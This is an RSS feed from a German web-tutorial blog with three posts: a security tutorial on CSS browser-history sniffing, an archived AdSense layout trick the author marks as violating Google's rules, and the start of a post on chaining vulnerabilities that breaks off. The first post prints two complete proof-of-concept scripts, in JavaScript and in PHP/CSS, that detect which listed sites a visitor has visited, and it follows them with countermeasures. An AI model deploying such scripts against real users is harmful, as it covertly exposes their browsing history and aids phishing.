<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Tuts &#187; Tricks</title>
	<atom:link href="http://www.web-tuts.de/kategorie/tricks/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.web-tuts.de</link>
	<description>Tutorials für neue und professionelle Webworker!</description>
	<lastBuildDate>Wed, 24 Nov 2010 16:22:32 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>CSS History Hacks &#8211; Auslesen von besuchten Webseiten</title>
		<link>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html</link>
		<comments>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:06:57 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tricks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1603</guid>
		<description><![CDATA[
Viele Webbrowser enthalten seit Jahren eine Sicherheitsl&#252;cke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es m&#246;glich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.
In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es m&#246;glich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer k&#246;nnten [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/browser-history.jpg" width="302" height="227" alt="Browser History" /></div>
<p>Viele Webbrowser enthalten seit Jahren eine Sicherheitsl&#252;cke, die bis heute noch nicht geschlossen wurde. Mit einem sog. <strong>CSS History Hack</strong> ist es m&#246;glich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.</p>
<p>In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es m&#246;glich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer k&#246;nnten anhand der Daten identifiziert werden und Angreifer k&#246;nnten diese nutzen, um gezielte <a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html">Phishing-Angriffe</a> durchzuf&#252;hren.</p>
<p>H&#228;ufig wird die Browser History mit <strong>Javascript</strong> ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit <strong>CSS</strong> m&#246;glich sind.</p>

<h2 class="headline">Ursache der Sicherheitsl&#252;cke</h2>
<p>Die Ursache der Sicherheitsl&#252;cke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.</p>
<p>Wurde ein Link also bereits gefolgt, gibt es &#196;nderungen im Stylesheet, die der Browser als Attribute in der History speichert.</p>
<h2 class="headline">Funktionsweise eines Angriffs</h2>
<p>Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet &#252;berpr&#252;ft.</p>
<p>Da die &#220;berpr&#252;fung normalerweise ziemlich schnell ist, k&#246;nnen problemlos tausende URLs innerhalb k&#252;rzester Zeit &#252;berpr&#252;ft werden.</p>
<h2 class="headline">Was Angreifer mit den Daten machen k&#246;nnten</h2>
<p>Das Protential von solchen Angriffen sollte man nicht untersch&#228;tzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr m&#246;glich.</p>
<p>S&#228;mtliche Daten k&#246;nnten ausspioniert werden - besonders in Kombination mit <a href="http://de.wikipedia.org/wiki/Social_Engineering" target="_blank">Social Engineering</a>. Vor allem soziale Netzwerke sind von davon <a href="http://www.spiegel.de/netzwelt/web/0,1518,675395,00.html" target="_blank">betroffen</a>.</p>
<h2 class="headline">Proof-of-Concept</h2>
<p><strong><em>Hinweis:</em></strong> Die Live-Demos / Scripte k&#246;nnt ihr unbedenklich testen. Es werden keine Daten &#252;ber besuchte Webseiten protokolliert, sondern nur dargestellt.</p>
<p>Beide Live Demos wurden mit Firefox und Chrome getestet.</p>
<h3>Ausnutzung per JavaScript</h3>
<p>Live Demo: <a href="http://www.web-tuts.de/demo/history-hack-js.html" target="_blank">CSS History Hack Beispiel per JavaScript</a></p>
<p>Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.</p>
<pre class="prettyprint"><code>/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot;
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/

/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL&#039;s is possible within a few seconds. */
var websites = [
  &#039;http://www.google.de&#039;,
  &#039;http://www.ebay.de&#039;,
  &#039;http://www.web-tuts.de&#039;,
  &#039;http://www.youtube.com&#039;,
  &#039;http://www.myhammer.de&#039;,
  &#039;http://www.heise.de&#039;,
  &#039;http://www.t3n.de/news/&#039;,
  &#039;http://www.myspace.com&#039;,
  &#039;http://de.wikipedia.org&#039;,
  &#039;http://de.wikipedia.org/wiki/Buffer_Overflow&#039;,
  &#039;http://de.wikipedia.org/wiki/Javascript&#039;,
  &#039;http://www.spiegel.de&#039;,
  &#039;http://www.golem.de&#039;
];

/* Loop through each URL */
for (var i = 0; i &lt; websites.length; i++) {

  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement(&quot;a&quot;);
  link.id = &quot;id&quot; + i;
  link.href = websites[i];
  link.innerHTML = websites[i];

  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write(&#039;&lt;style&gt;&#039;);
  document.write(&#039;#id&#039; + i + &quot;:visited {color: #FF0000;}&quot;);
  document.write(&#039;&lt;/style&gt;&#039;);

  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue(&quot;color&quot;);
  document.body.removeChild(link);

  /* check to see if the link has been visited if the computed color is red */
  if (color == &quot;rgb(255, 0, 0)&quot;) { // visited

    /* add the link to the visited list */
    var item = document.createElement(&#039;li&#039;);
    item.appendChild(link);
    document.getElementById(&#039;visited&#039;).appendChild(item);

  } else { // not visited

    /* add the link to the not visited list */
    var item = document.createElement(&#039;li&#039;);
    item.appendChild(link);
    document.getElementById(&#039;notvisited&#039;).appendChild(item);

  } // end visited color check if

} // end URL loop</code></pre>
<p>Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet <strong>a:visited</strong>) wird eine rote Farbe zugewiesen. Anschlie&#223;end wird &#252;berpr&#252;ft, f&#252;r welche Links diese Farbe definiert wurde.</p>
<h3>Ausnutzung per CSS und PHP</h3>
<p>Live Demo: <a href="http://www.web-tuts.de/demo/history-hack-css.php" target="_blank">CSS History Hack ohne JavaScript</a></p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  header(&#039;Cache-Control: no-store, no-cache, must-revalidate&#039;); // HTTP 1.1
  header(&#039;Cache-Control: post-check=0, pre-check=0, false&#039;); // HTTP 1.0
  header(&#039;Expires: Sat, 26 Jul 1997 05:00:00 GMT&#039;);
  header(&#039;Pragma: no-cache&#039;);

  $websites = array(
  &#039;http://www.google.de&#039;,
  &#039;http://www.ebay.de&#039;,
  &#039;http://www.web-tuts.de&#039;,
  &#039;http://www.youtube.com&#039;,
  &#039;http://www.myhammer.de&#039;,
  &#039;http://www.heise.de&#039;,
  &#039;http://www.t3n.de/news/&#039;,
  &#039;http://www.myspace.com&#039;,
  &#039;http://de.wikipedia.org&#039;,
  &#039;http://de.wikipedia.org/wiki/Buffer_Overflow&#039;,
  &#039;http://de.wikipedia.org/wiki/Javascript&#039;,
  &#039;http://www.spiegel.de&#039;,
  &#039;http://www.golem.de&#039;
  );

  $c = count($websites);

  if(empty($_SESSION[&#039;visited&#039;]))
  	$_SESSION[&#039;visited&#039;] = array();

  if(empty($_SESSION[&#039;id&#039;]))
  	$_SESSION[&#039;id&#039;] = md5(uniqid(mt_rand(), true));

  if(!empty($_SERVER[&#039;QUERY_STRING&#039;]))
  {
    // script wurde via css background image aufgerufen
    if(preg_match(&#039;/([a-f0-9]{32})-(\d*)/i&#039;, $_SERVER[&#039;QUERY_STRING&#039;], $matches))
    {
    	$num = $matches[2];

    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION[&#039;visited&#039;]))
        $_SESSION[&#039;visited&#039;][] = $websites[$num];
    }
  }

  $not_visited = array_diff($websites, $_SESSION[&#039;visited&#039;]);
?&gt;
&lt;html&gt;
&lt;head&gt;
&lt;style type=&quot;text/css&quot;&gt;
#list { position: absolute; visibility: hidden; }
&lt;?php
  for($i = 0; $i &lt; $c; $i++)
    echo &#039;a:visited span.span&#039; . $i . &#039;{background:url(&#039;.basename(__FILE__).&#039;?&#039;.$_SESSION[&#039;id&#039;].&#039;-&#039;.$i.&#039;);color:#c00;}&#039;;
?&gt;
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;list&quot;&gt;
&lt;?php
  for($i = 0; $i &lt; $c; $i++)
    echo &#039;&lt;a href=&quot;&#039;.$websites[$i].&#039;&quot;&gt;&#039;.$websites[$i].&#039;&lt;span class=&quot;span&#039;.$i.&#039;&quot;&gt;&lt;/span&gt;&lt;/a&gt;&#039;;
?&gt;
&lt;/div&gt;
&lt;ul id=&quot;visited&quot;&gt;
&lt;?php
  foreach($_SESSION[&#039;visited&#039;] as $visited)
    echo &#039;&lt;li&gt;&lt;a href=&quot;&#039;.$visited.&#039;&quot;&gt;&#039;.$visited.&#039;&lt;/a&gt;&lt;/li&gt;&#039;;
?&gt;
&lt;/ul&gt;
&lt;ul id=&quot;notvisited&quot;&gt;
&lt;?php
  foreach($not_visited as $notvisited)
    echo &#039;&lt;li&gt;&lt;a href=&quot;&#039;.$notvisited.&#039;&quot;&gt;&#039;.$notvisited.&#039;&lt;/a&gt;&lt;/li&gt;&#039;;
?&gt;
&lt;/ul&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>Diese Methode wurde von IT-Wissenschaftlern einer Universit&#228;t vorgestellt und funktioniert auch ohne JavaScript.</p>
<p>Der Trick bei dieser Methode ist, dass im Stylesheet bei <strong>a:visited</strong> mit <strong>background:url()</strong> das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die &#252;bergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.</p>
<p>Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).</p>
<p>Zus&#228;tzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers &#252;bergeben - normalerweise die IP Adresse. Somit k&#246;nnen besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zuf&#228;llig generierter MD5 Hash.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Nun zum wichtigen Teil - wie sch&#252;tzt man sich vor CSS History Hacks?</p>
<p>Es gibt zwei M&#246;glichkeiten, um sich effektiv gegen solche Angriffe zu sch&#252;tzen.</p>
<p><strong>1. Festlegen, dass der verwendete Browser keine History anlegt.</strong></p>
<p>Die beste und sicherste M&#246;glichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese M&#246;glichkeit nutzen.</p>
<p>In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz</p>
<p><img src="http://www.web-tuts.de/images/posts/firefox-chronik.gif" width="599" height="182" alt="Firefox Chronik deaktivieren" /></p>
<p>Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gel&#246;scht werden soll.</p>
<p><strong>2. Browser-Addon nutzen</strong></p>
<p>Eine weitere M&#246;glichkeit ist das Nutzen eines speziellen Browser-Addons. F&#252;r Firefox eignet sich das <a href="http://www.safehistory.com/" target="_blank">SafeHistory</a> Addon von der Stanford Universit&#228;t. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li><li><a href="http://www.web-tuts.de/downloads/" rel="bookmark" title="Permanent Link: Downloads">Downloads</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>AdSense Einnahmen mit diesem Trick deutlich steigern</title>
		<link>http://www.web-tuts.de/adsense-einnahmen-mit-diesem-trick-deutlich-steigern.html</link>
		<comments>http://www.web-tuts.de/adsense-einnahmen-mit-diesem-trick-deutlich-steigern.html#comments</comments>
		<pubDate>Tue, 24 Nov 2009 06:00:36 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Internet Marketing]]></category>
		<category><![CDATA[Tricks]]></category>
		<category><![CDATA[AdSense]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=225</guid>
		<description><![CDATA[
Hinweis: Dieser Trick ist veraltet und sollte nicht mehr verwendet werden, da er gegen die Google-Richtlinien verst&#246;&#223;t. Dieser Beitrag steht nur noch zu Archiv-zwecken zur verf&#252;gung.
Google AdSense ist eine sehr beliebte Einnahme-Quelle f&#252;r Website-Betreiber. Einige verdienen damit ein paar Euro Taschengeld, andere k&#246;nnen von ihren AdSense Einnahmen gut leben und manche werden sogar reich.
Optimierungs-Potential ist [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/adsense_trick.jpg" width="302" height="247" alt="Adsense Trick" style="border:1px solid #222;" /></div>
<p style="color:red;">Hinweis: Dieser Trick ist veraltet und sollte nicht mehr verwendet werden, da er gegen die Google-Richtlinien verst&#246;&#223;t. Dieser Beitrag steht nur noch zu Archiv-zwecken zur verf&#252;gung.</p>
<p>Google AdSense ist eine sehr beliebte Einnahme-Quelle f&#252;r Website-Betreiber. Einige verdienen damit ein paar Euro Taschengeld, andere k&#246;nnen von ihren AdSense Einnahmen gut leben und manche werden sogar reich.</p>
<p>Optimierungs-Potential ist jedoch fast immer vorhanden. Es gibt viele Websites mit sehr vielen Besuchern, die deutlich weniger AdSense Einahmen aufweisen, als kleinere Websites mit nicht so vielen Besuchern. Das kann nat&#252;rlich mehrere Gr&#252;nde haben. Position, Farben, Format, Text, ... all das spielt eine wichtige Rolle. Neben allgemeinen Tipps und Tricks, die man schnell findet, gibt es aber noch einige Tricks von AdSense-Profis, die es in sich haben.</p>
<p>In diesem Artikel stelle ich einen davon vor.</p>

<h2 class="headline">Psychologische Faktoren</h2>
<p>(Unerw&#252;nschte) Werbung gibt es &#252;berall im Internet. Ob nervige Pop-ups, blinkende Banner oder Werbe-Layer, bei denen der Schlie&#223;-Button fehlt. Kaum jemand interessiert sich wirklich f&#252;r die werbenden Inhalte. Kein wunder, wenn sie einem so aufgedr&#228;ngt werden.</p>
<p>Aus diesem Grund nutzen die meisten Internet-Nutzer Pop-up-Blocker und andere Tools, die das Anzeigen von Werbung unterbinden. Werbung ist also grunds&#228;tzlich erstmal unerw&#252;nscht. Trotzdem erscheint sie &#252;berall. Internet-Nutzer haben im Laufe der Zeit eine sogenannte "Banner Blindness" entwickelt. Bekannte Werbe-Formate werden ignoriert, als w&#228;ren sie gar nicht da.</p>
<p>Die Kunst liegt darin, die AdSense Anzeigen nicht wie herk&#246;mmliche Werbung aussehen zu lassen. Es geht hier allerdings nicht darum den User zu t&#228;uschen (die Werbung ist sowieso immer gekennzeichnet), sondern die "Banner Blindness" zu &#252;berlisten.</p>
<h2 class="headline">Der AdSense-Trick</h2>
<p>Kommen wir nun zum sehr effektiven Trick, der auch von Internet-Marketing Experten, wie <a href="http://michaelcheney.com/" target="_blank">Michael Cheney</a> verwendet wird. Michael Cheney konnte mit diesem "einfachen" Trick seine Einnahmen laut eigenen Angaben <strong>verdreifachen</strong>.</p>
<p>Der Trick besteht darin, passende Bilder &#252;ber einen (horizontalen) AdSense Werbeblock in gleichen Abst&#228;nden zu den Anzeigentiteln zu platzieren, so dass jedes Bild einem Anzeigentitel (Link) visuell zugeordnet ist.</p>
<p>Hierzu ein vereinfachtes Beispiel (zum Vergr&#246;&#223;ern auf's Bild klicken):</p>
<p><a href="http://www.web-tuts.de/images/posts/adsense_beispiel.png"><img src="http://www.web-tuts.de/images/posts/adsense_beispiel.png" width="424" height="318" alt="Adsense Einnahmen steigern - Beispiel" style="border:1px solid #222;" /></a></p>
<p>Entscheidend sind hier vorallem folgende Punkte.</p>
<ul>
<li>Die Position des AdSense Werbeblocks und der Bilder</li>
<li>Die Themenrelevanz der Bilder zu den Anzeigen und Content</li>
<li>Das Format des Werbeblocks</li>
<li>Der Abstand der Bilder</li>
<li>Der Abstand der Bilder zum Werbeblock</li>
<li>Die Hintergrundfarbe der Anzeigen</li>
<li>Die Linkfarbe des Anzeigentitels</li>
<li>Die Linkfarbe der Werbe-URL</li>
</ul>
<h3>Position</h3>
<p>Zuerst einmal zur Position. In diesem Beispiel befinden sich die Bilder und der Werbeblock oben mittig im Content-Bereich. Meiner Meinung nach hier die ideale Position. Mehr &#252;ber allgemein gute Positionen f&#252;r AdSense Bl&#246;cke, findet man bei <a href="https://www.google.com/adsense/support/bin/answer.py?answer=17954" target="_blank">Google</a> selbst.</p>
<h3>Themenrelevanz</h3>
<p>Sehr wichtig ist hier auch die Themenrelevanz der Bilder. Schreibt man einen Artikel &#252;ber gesundes Obst, k&#246;nnte man allgemeine Obst-Bilder verwenden. Es w&#228;r nicht gerade sinnvoll Bilder von Bananen anzuzeigen, wenn in der Anzeige etwas von &#196;pfeln steht.</p>
<p><span style="color:red;">Achtung!</span> Die Bilder sollten keine Inhalte haben, die in irgendeiner Art und Weise auf die AdSense Anzeigen aufwerksam machen! Das verst&#246;&#223;t gegen die Google Richtlinien. Also keine Pfeile, die zu den Anzeigen zeigen... auch keine Gegenst&#228;nde, die dort hinzeigen. Normale, nat&#252;rliche Bilder sind jedoch kein Problem.</p>
<p>Mit den folgenden HTML-Tags lassen sich Abschnitte des Contents vorschlagen, die f&#252;r die Anzeigen hervorgehoben werden sollen.</p>
<pre class="srccode"><code>&lt;!-- google_ad_section_start --&gt;</code></pre>
<pre class="srccode"><code>&lt;!-- google_ad_section_end --&gt;</code></pre>
<p>Eine genaue Beschreibung dazu gibt es in der <a href="https://www.google.com/adsense/support/bin/answer.py?hl=de&#038;answer=23168" target="_blank">AdSense-Hilfe</a> von Google.</p>
<h3>Format</h3>
<p>Am besten ist f&#252;r diesen Trick wohl ein horizontaler Werbeblock geeignet. In diesem Beispiel wurde das 728 x 90 Leaderboard verwendet. Nat&#252;rlich funktionieren auch andere bzw. &#228;hnliche Formate. Das muss jeder f&#252;r sich testen.</p>
<h3>Abstand</h3>
<p>Der Abstand spielt hier auch eine sehr wichtige Rolle. Der Abstand der Bilder sollte zum Abstand der Anzeigentitel passen. Unter jedem Bild sollte ein Anzeigentitel stehen. Der Abstand zur Anzeige selbst sollte nicht zu gro&#223; (aber auch nicht zu gering, damit es keine Probleme mit Google gibt)  sein.</p>
<h3>Farben</h3>
<p>Ohne die richtigen Farben kommt man nicht weit. Bei diesem Trick sollen vorallem die Anzeigentitel im Fokus stehen. Von daher (und &#252;berhaupt) w&#228;r es keine schlechte Idee, die Farbe der normalen Links der Website zu verwenden. Am besten eine kraftvolle Farbe, die heraussticht und zum layout passt.</p>
<p>Die Farbe der Werbe-URL sollte dagegen die Farbe des normalen Textes haben, damit die volle Aufmerksamkeit den Anzeigentiteln geh&#246;rt. Die Farbwahl spielt nat&#252;rlich auch bei den psychologischen Faktoren eine gro&#223;e Rolle.</p>
<h2 class="headline">Probieren geht &#252;ber studieren</h2>
<p>Im Endeffekt muss man jedoch selber testen, testen, testen. Dieser Trick funktioniert mit Sicherheit nicht bei jedem. Und man sollte ihn auch mit Bedacht einsetzen, damit es keine Probleme mit Google gibt. Dieser Trick hat jedenfalls bei einigen sehr gut funktioniert und wurde von AdSense Experten wie Michael Cheney empfohlen.</p>
<p><strong>Update</strong>: Es sind sich wohl doch nicht alle einig. Man sollte deshalb etwas vorsichtiger mit diesem Trick umgehen. Ansonsten einfach mal selber beim Google AdSense Support nachfragen.</p>
<p>Hier mal ein weiteres Beispiel mit nur einem Bild:</p>
<p><a href="http://www.web-tuts.de/images/posts/adsense_beispiel_2.png"><img src="http://www.web-tuts.de/images/posts/adsense_beispiel_2.png" width="424" height="318" alt="Adsense Beispiel 2" style="border:1px solid #222;" /></a></p>
<p>Wer kreativ und vorsichtig ist, wird die besten Chancen auf Erfolg haben.</p>
<p style="color:red;">Hinweis: Dieser Trick ist veraltet und sollte nicht mehr verwendet werden, da er gegen die Google-Richtlinien verst&#246;&#223;t. Dieser Beitrag steht nur noch zu Archiv-zwecken zur verf&#252;gung.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/datenschutz-super-cookies-flash-cookies-dom-storage.html" rel="bookmark" title="Permanent Link: Datenschutz: Super-Cookies (Flash Cookies, DOM Storage)">Datenschutz: Super-Cookies (Flash Cookies, DOM Storage)</a></li><li><a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html" rel="bookmark" title="Permanent Link: CSS History Hacks &#8211; Auslesen von besuchten Webseiten">CSS History Hacks &#8211; Auslesen von besuchten Webseiten</a></li><li><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html" rel="bookmark" title="Permanent Link: Advanced Local und Remote File Inclusion">Advanced Local und Remote File Inclusion</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/adsense-einnahmen-mit-diesem-trick-deutlich-steigern.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/adsense-einnahmen-mit-diesem-trick-deutlich-steigern.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sicherheitsl&#252;cken kombinieren</title>
		<link>http://www.web-tuts.de/sicherheitsluecken-kombinieren.html</link>
		<comments>http://www.web-tuts.de/sicherheitsluecken-kombinieren.html#comments</comments>
		<pubDate>Wed, 11 Nov 2009 22:48:53 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tricks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=144</guid>
		<description><![CDATA[
Harmlose Sicherheitsl&#252;cken k&#246;nnen f&#252;r versierte Angreifer sehr n&#252;tzlich und in manchen F&#228;llen sogar entscheidend f&#252;r einen erfolgreichen Angriff sein. Mit Full Path Disclosure l&#228;sst sich beispielsweise der vollst&#228;ndige Pfad aus Fehler- und Warnmeldungen lesen. Viele fragen sich, was Angreifer denn schon mit einem einfachen Pfad angangen k&#246;nnen. Dabei sind es oft wertvolle Informationen - zum [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/sicherheitsluecken_kombinieren.jpg" width="302" height="203" alt="Sicherheitsl&#252;cken kombinieren" /></div>
<p>Harmlose Sicherheitsl&#252;cken k&#246;nnen f&#252;r versierte Angreifer sehr n&#252;tzlich und in manchen F&#228;llen sogar entscheidend f&#252;r einen erfolgreichen Angriff sein. Mit Full Path Disclosure l&#228;sst sich beispielsweise der vollst&#228;ndige Pfad aus Fehler- und Warnmeldungen lesen. Viele fragen sich, was Angreifer denn schon mit einem einfachen Pfad angangen k&#246;nnen. Dabei sind es oft wertvolle Informationen - zum Beispiel, um Local File Inclusion Sicherheitsl&#252;cken auszunutzen oder um mehr &#252;ber die interne Verzeichnis-Struktur zu erfahren.</p>
<p>Manchmal kommt auch es vor, dass SQL Injections f&#252;r Angreifer unbrauchbar sind. In Kombination mit anderen Sicherheitsl&#252;cken, wie XSS, XSRF oder aber auch Social Engineering kann sich das Blatt sehr schnell wenden.</p>

<h2 class="headline">Gefahrenstufen bei Sicherheitsl&#252;cken</h2>
<p>Sicherheitsl&#252;cken werden h&#228;ufig in Gefahrenstufen unterteilt.</p>
<p>Das k&#246;nnte zum Beispiel so aussehen:<br />
<img src="http://www.web-tuts.de/images/posts/gefahrenstufen.jpg" width="208" height="138" alt="Gefahrenstufen" /></p>
<p>Remote Sicherheitsl&#252;cken, mit denen sich Angreifer Root-Zugriff auf einem System verschaffen k&#246;nnen, werden als "hochkritisch" eingestuft.</p>
<p>Sicherheitsl&#252;cken, die es erm&#246;glichen System-Befehle oder serverseitigen Code auszuf&#252;hren, werden in der Regel als kritisch eingestuft.</p>
<p>Als nicht bzw. weniger kritisch geh&#246;ren zum Beispiel Information Disclosure Sicherheitsl&#252;cken, mit denen Angreifer Informationen &#252;ber das Zielsystem erhalten.</p>
<h2 class="headline">Wie aus "harmlose" Sicherheitsl&#252;cken "hochkritische" werden</h2>
